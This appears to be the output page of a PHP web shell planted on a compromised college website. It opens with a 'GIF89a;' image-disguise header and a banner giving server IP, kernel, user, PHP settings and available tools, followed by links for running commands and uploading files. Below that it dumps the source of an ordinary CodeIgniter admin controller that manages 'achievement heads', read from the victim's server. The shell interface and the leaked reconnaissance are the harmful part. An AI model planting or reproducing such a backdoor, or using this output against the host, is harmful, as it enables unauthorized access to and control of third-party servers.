GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.142.98.60 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Request Handler For Handling Requests Related To Achievements * * @author Softpro India Pvt. Ltd. */ class Achievement extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/AchievementManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData["achievementHeads"] = $this->AchievementManagement->getAllAchievementHeads()->result(); $this->load->view('admin/achievementHeads', $viewData); } else { redirect("admin/"); } } public function createAchievementHead() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/createAchievementHead'); } else { redirect("admin/"); } } public function saveNewAchievementHead() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules("acHeadTitle", "Achievement Head Title", "required", array("required" => "Enter Achievement Head Title.")); $this->form_validation->set_rules("acHeadShortTitle", "Achievement Head Short Title", "required", array("required" => "Enter Achievement Head Short Title.")); $this->form_validation->set_rules("acHeadApplicableFor", "Achievement Head Applicable For", "required", array("required" => "Please Select Achievement Head Applicable For.")); $queryByAchievementHeadTitle = $this->AchievementManagement->getAchievementHeadInfoByTitle(trim($this->input->post('acHeadTitle'))); $achievementHeadInfoByTitle = $queryByAchievementHeadTitle->result(); $queryByAchievementHeadShortTitle = $this->AchievementManagement->getAchievementHeadInfoByShortTitle(trim($this->input->post('acHeadShortTitle'))); $achievementHeadInfoByShortTitle = $queryByAchievementHeadShortTitle->result(); if ($this->form_validation->run() == FALSE) { $this->createAchievementHead(); } else if (sizeof($achievementHeadInfoByTitle)) { $this->session->set_flashdata('errorMessage', "An Achievement Head With This Title (" . addslashes(trim($this->input->post('acHeadTitle'))) . ") Already Exits. Please Choose A Different Title."); $this->createAchievementHead(); } else if (sizeof($achievementHeadInfoByShortTitle)) { $this->session->set_flashdata('errorMessage', "An Achievement With This Short Title (" . addslashes(trim($this->input->post('acHeadShortTitle'))) . ") Already Exits. Please Choose A Different Short Title."); $this->createAchievementHead(); } else { $newAchievementHeadInfo = array( "tsam_title" => addslashes(trim($this->input->post("acHeadTitle"))), "tsam_short_title" => addslashes(trim($this->input->post("acHeadShortTitle"))), "tsam_for" => trim($this->input->post("acHeadApplicableFor")), "tsam_description" => addslashes(trim($this->input->post("acHeadDescription"))), "tsam_added_on" => date("Y-m-d H:i:s"), "tsam_updated_on" => date("Y-m-d H:i:s"), "tsam_updated_by" => $this->session->userdata("adminData")["smember_id"], "tsam_added_by" => $this->session->userdata("adminData")["smember_id"] ); if ($this->AchievementManagement->createNewAchievementHead($newAchievementHeadInfo)) { $this->session->set_flashdata('successMessage', 'Achievement Head Created Successfully.'); redirect("admin/Achievement/"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Exam. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function editAchievementHead($ach_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['achievementHeadInfo'] = $this->AchievementManagement->getAchievementHeadInfoBy($ach_id)->result()[0]; $this->load->view('admin/editAchievementHead', $viewData); } else { redirect("admin/"); } } public function updateAchievementHead() { if ($this->sessionvalidator->isLoggedIn()) { $acHead_id = $this->input->post('acHeadId'); $this->form_validation->set_rules("acHeadTitle", "Achievement Head Title", "required", array("required" => "Enter Achievement Head Title.")); $this->form_validation->set_rules("acHeadShortTitle", "Achievement Head Short Title", "required", array("required" => "Enter Achievement Head Short Title.")); $this->form_validation->set_rules("acHeadApplicableFor", "Achievement Head Applicable For", "required", array("required" => "Please Select Achievement Head Applicable For.")); if ($this->form_validation->run() == FALSE) { $this->editAchievementHead($acHead_id); } else if (!$this->AchievementManagement->isAchievementHeadTitleSafeUpdate($acHead_id, trim($this->input->post('acHeadTitle')))) { $this->session->set_flashdata('errorMessage', "An Achievement Head With This Title (" . addslashes(trim($this->input->post('acHeadTitle'))) . ") Already Exits. Please Choose A Different Title."); $this->editAchievementHead($acHead_id); } else if (!$this->AchievementManagement->isAchievementHeadShortTitleSafeUpdate($acHead_id, trim($this->input->post('acHeadShortTitle')))) { $this->session->set_flashdata('errorMessage', "An Achievement With This Short Title (" . addslashes(trim($this->input->post('acHeadShortTitle'))) . ") Already Exits. Please Choose A Different Short Title."); $this->editAchievementHead($acHead_id); } else { $newAchievementHeadInfo = array( "tsam_id" => $acHead_id, "tsam_title" => addslashes(trim($this->input->post("acHeadTitle"))), "tsam_short_title" => addslashes(trim($this->input->post("acHeadShortTitle"))), "tsam_for" => trim($this->input->post("acHeadApplicableFor")), "tsam_description" => addslashes(trim($this->input->post("acHeadDescription"))), "tsam_updated_on" => date("Y-m-d H:i:s"), "tsam_updated_by" => $this->session->userdata("adminData")["smember_id"] ); if ($this->AchievementManagement->updateAchievementHeadInfo($newAchievementHeadInfo)) { $this->session->set_flashdata('successMessage', 'Achievement Head Updated Successfully.'); redirect("admin/Achievement/"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Achievement Head. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleAchievementHeadStatus($ach_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $achievementHeadUpdateData = array( 'tsam_id' => $ach_id, 'tsam_updated_on' => date("Y-m-d H:i:s"), 'tsam_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tsam_active_status' => $toUpdateStatus ); if ($this->AchievementManagement->updateAchievementHeadInfo($achievementHeadUpdateData)) { $this->session->set_flashdata('successMessage', 'Achievement Head Status Updated Successfully.'); redirect("admin/Achievement/"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Achievement Head Status. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function deleteAchievementHead($ach_id) { if ($this->sessionvalidator->isLoggedIn()) { $achievementHeadUpdateData = array( 'tsam_id' => $ach_id, 'tsam_updated_on' => date("Y-m-d H:i:s"), 'tsam_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tsam_delete_status' => 'T' ); if ($this->AchievementManagement->updateAchievementHeadInfo($achievementHeadUpdateData)) { $this->session->set_flashdata('successMessage', 'Achievement Head Deleted Successfully.'); redirect("admin/Achievement/"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Achievement Head. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } public function undoDeleteAchievementHead($ach_id) { if ($this->sessionvalidator->isLoggedIn()) { $achievementHeadUpdateData = array( 'tsam_id' => $ach_id, 'tsam_updated_on' => date("Y-m-d H:i:s"), 'tsam_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tsam_delete_status' => 'F' ); if ($this->AchievementManagement->updateAchievementHeadInfo($achievementHeadUpdateData)) { $this->session->set_flashdata('successMessage', 'Achievement Head Recovered Successfully.'); redirect("admin/Achievement/"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Achievement Head. Try Later.'); redirect(current_url()); } } else { redirect("admin/"); } } }